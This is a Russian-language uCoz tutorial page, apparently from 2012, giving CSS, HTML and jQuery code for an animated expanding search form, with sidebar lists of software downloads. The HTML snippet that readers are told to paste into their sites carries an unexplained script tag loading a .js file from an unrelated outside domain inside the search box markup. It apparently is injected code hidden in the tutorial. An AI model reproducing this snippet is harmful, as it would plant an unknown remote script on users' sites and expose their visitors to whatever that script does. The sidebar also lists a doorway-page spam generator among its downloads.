Воскресенье, 24.09.2017, 04:22


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Чего желаете?
Всего ответов: 84
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2012 » Декабрь » 24 » Форма поиска для Ucoz
00:21
Форма поиска для Ucoz
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...

Просмотров: 335 | Добавил: startsmart | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Cities XL Platinum 2013 71
  • Чудо ферма \ Virtual farm 86
  • Именем короля 3. Коллекционное издание 87
  • Браузер Maxthon 188
  • Download Master 5.12.1.1283 177
  • Articles – лучшая Wikipedia в кармане 172
  • Улесье. Коллекционное издание 146
  • RIFT – многопользовательская онлайн игра 202
  • Будущее настоящего прошлого_скачать 334
  • Darck Orbit – браузерная игра 193
  • iSendSMS - для отправки SMS и MMS 227
  • Lunascape 6.2 Универсальный браузер 181
  • Редактор Inedita 170
  • Бизнес Пак - бесплатно 270
  • Графический редактор PhotoFiltre 219

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29787
  • FrontPage 2003 Русская версия 11604
  • Игра "Фараон и Клеопатра" скачать бесплатно 6854
  • Mozilla Firefox 8.0.1 - русская версия скачать 4210
  • Новый Супер Марио 4127
  • Игра в Длинные нарды 4050
  • Медитация для привлечения Любви 3755
  • Сборник_Программа настроев Г.Н.Сытина скачать 2895
  • FFrontPage 2007 Русская версия 2816
  • Авто выключение компьютера_WinMend Auto Shutdown 2659
  • Астрон Дизайн - 3D моделирование Вашего дома 2112
  • Спец эффекты с ВебКамерой 2093
  • Штука - игра в карты 1757
  • Программа для быстрого создания Flash-анимации 1519
  • Если хочешь быть счастливым - Литвак Михаил 1498

  • Бесплатная отправка СМС 348
  • Светлый мини-чат для uCoz 279
  • Стильное оповищение Войти или зарегестрироватся 282
  • Аудиоплеер с плейлистом для mp3 музыки 362
  • Форма поиска для Ucoz 334
  • Cкрипт подробной статистики сайта 368
  • Скрипт последних комментариев для Ucoz 323
  • Новый вид комментария для uCoz с уголком 292
  • Раздвижная форма поиска для uCoz 498
  • Простое раздвижное меню для uCoz 346
  • Вид комментариев для uCoz v.5 257
  • Flash радио для сайта 273
  • Детские телефоны BB-Mobile Baby Bear 1176
  • Флеш Часы для uCoz 294
  • Уведомление о регистрации и авторизации 285

  • Мини профиль с временем суток и функциональным меню 256
  • Коте для вашего сайта 256
  • FM радио - отличная музыка в хорошем качестве 256
  • Пожертвование на развитие сайта. 256
  • Кнопка "Вверх" для сайта, блога или форума 256
  • Флэш проигрыватель с большим количеством радиостанций.. 256
  • Последние комментарии ucoz 257
  • Вид комментариев для uCoz v.5 257

  • Улесье. Коллекционное издание 146
  • GIMP - мощный графический редактор 313
  • Генератор дорвеев JakoDorgen 3 334
  • SkyDrive - хранилище в интернете 390
  • Космические стрелялки 6 шт 200
  • Black and White Побудь Богом 183
  • Paint.Net_Фото редактор 373


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость